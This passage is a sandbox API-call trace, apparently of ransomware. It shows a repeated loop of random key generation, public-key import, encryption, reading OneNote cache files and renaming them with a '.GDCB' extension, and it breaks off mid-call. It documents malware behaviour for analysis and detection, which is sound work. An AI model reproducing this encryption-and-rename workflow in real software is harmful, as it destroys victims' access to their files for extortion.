[0183.972] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81ad8) returned 1 [0183.972] CryptGetKeyParam (in: hKey=0x4f81ad8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.972] CryptEncrypt (in: hKey=0x4f81ad8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0183.973] GetLastError () returned 0x0 [0183.973] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.973] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0183.975] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81558) returned 1 [0183.975] CryptGetKeyParam (in: hKey=0x4f81558, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.975] CryptEncrypt (in: hKey=0x4f81558, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0183.975] GetLastError () returned 0x0 [0183.975] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.975] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000L.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000l.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0183.977] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0183.979] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0183.980] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0x91c, lpOverlapped=0x0) returned 1 [0183.989] VirtualAlloc (lpAddress=0x0, dwSize=0x920, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0183.993] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000L.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000l.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000L.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000l.bin.gdcb")) returned 1 [0183.999] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0184.001] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0184.002] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0184.002] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0184.002] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0184.002] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0184.003] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0184.004] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0184.004] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0184.004] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0184.004] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0184.006] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81b18) returned 1 [0184.006] CryptGetKeyParam (in: hKey=0x4f81b18, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0184.006] CryptEncrypt (in: hKey=0x4f81b18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0184.007] GetLastError () returned 0x0 [0184.007] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0184.007] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0184.009] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81c18) returned 1 [0184.009] CryptGetKeyParam (in: hKey=0x4f81c18, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0184.009] CryptEncrypt (in: hKey=0x4f81c18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0184.009] GetLastError () returned 0x0 [0184.009] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0184.009] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000M.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000m.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0184.011] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0184.013] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0184.014] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0x1055, lpOverlapped=0x0) returned 1 [0184.023] VirtualAlloc (lpAddress=0x0, dwSize=0x1060, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0184.029] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000M.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000m.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000M.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000m.bin.gdcb")) returned 1 [0184.034] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0184.036] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0184.037] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0184.037] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0184.037] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0184.037] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0184.038] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0184.040] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0184.040] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0184.040] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0184.040] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0184.043] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81c98) returned 1 [0184.043] CryptGetKeyParam (in: hKey=0x4f81c98, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0184.043] CryptEncrypt (in: hKey=0x4f81c98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0184.043] GetLastError () returned 0x0 [0184.043] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0184.043] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0184.046] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81618) returned 1 [0184.046] CryptGetKeyParam (in: hKey=0x4f81618, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0184.046] CryptEncrypt (in: hKey=0x4f81618, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0184.046] GetLastError () returned 0x0 [0184.046] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0184.046] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000N.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000n.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0184.049] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0184.050] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0184.051] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0x586a, lpOverlapped=0x0) returned 1 [0184.076] VirtualAlloc (lpAddress=0x0, dwSize=0x5870, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0184.081] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000N.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000n.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000N.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000n.bin.gdcb")) returned 1 [0184.086] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0184.088] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0184.089] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0184.089] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0184.089] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0184.089] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0184.090] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0184.092] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0184.092] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0184.092] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0184.093] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0184.095] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81758) returned 1 [0184.095] CryptGetKeyParam (in: hKey=0x4f81758, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0184.095] CryptEncrypt (in: hKey=0x4f81758, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0184.095] GetLastError () returned 0x0 [0184.095] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0184.095] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0184.097] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81798) returned 1 [0184.097] CryptGetKeyParam (in: hKey=0x4f81798, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0184.097] CryptEncrypt (in: hKey=0x4f81798, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0184.097] GetLastError () returned 0x0 [0184.097] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0184.097] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000O.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000o.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0184.100] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0184.101] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0184.102] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0x3e83, lpOverlapped=0x0) returned 1 [0184.193] VirtualAlloc (lpAddress=0x0, dwSize=0x3e90, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0184.198] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000O.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000o.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000O.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000o.bin.gdcb")) returned 1 [0184.204] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0184.206] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0184.207] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0184.207] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0184.207] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0184.207] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0184.208] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0184.209] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0184.209] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0184.209] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0184.209] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0184.211] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f82018) returned 1 [0184.211] CryptGetKeyParam (in: hKey=0x4f82018, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0184.211] CryptEncrypt (in: hKey=0x4f82018, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0184.211] GetLastError () returned 0x0 [0184.211] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0184.211] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0184.213] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f82198) returned 1 [0184.213] CryptGetKeyParam (in: hKey=0x4f82198, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0184.213] CryptEncrypt (in: hKey=0x4f82198, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0184.214] GetLastError () returned 0x0 [0184.214] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0184.214] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000P.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000p.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0184.216] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0184.217] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0184.218] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0x4389, lpOverlapped=0x0) returned 1 [0184.235] VirtualAlloc (lpAddress=0x0, dwSize=0x4390, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0184.241] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000P.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000p.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000P.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000p.bin.gdcb")) returned 1 [0184.247] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0184.248] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0184.249] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0184.249] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0184.249] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0184.249] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0184.250] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0184.251] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0184.251] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0184.251] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0184.251] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0184.253] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f821d8) returned 1 [0184.253] CryptGetKeyParam (in: hKey=0x4f821d8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0184.253] CryptEncrypt (in: hKey=0x4f821d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0184.253] GetLastError () returned 0x0 [0184.253] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0184.254] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0184.256] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, 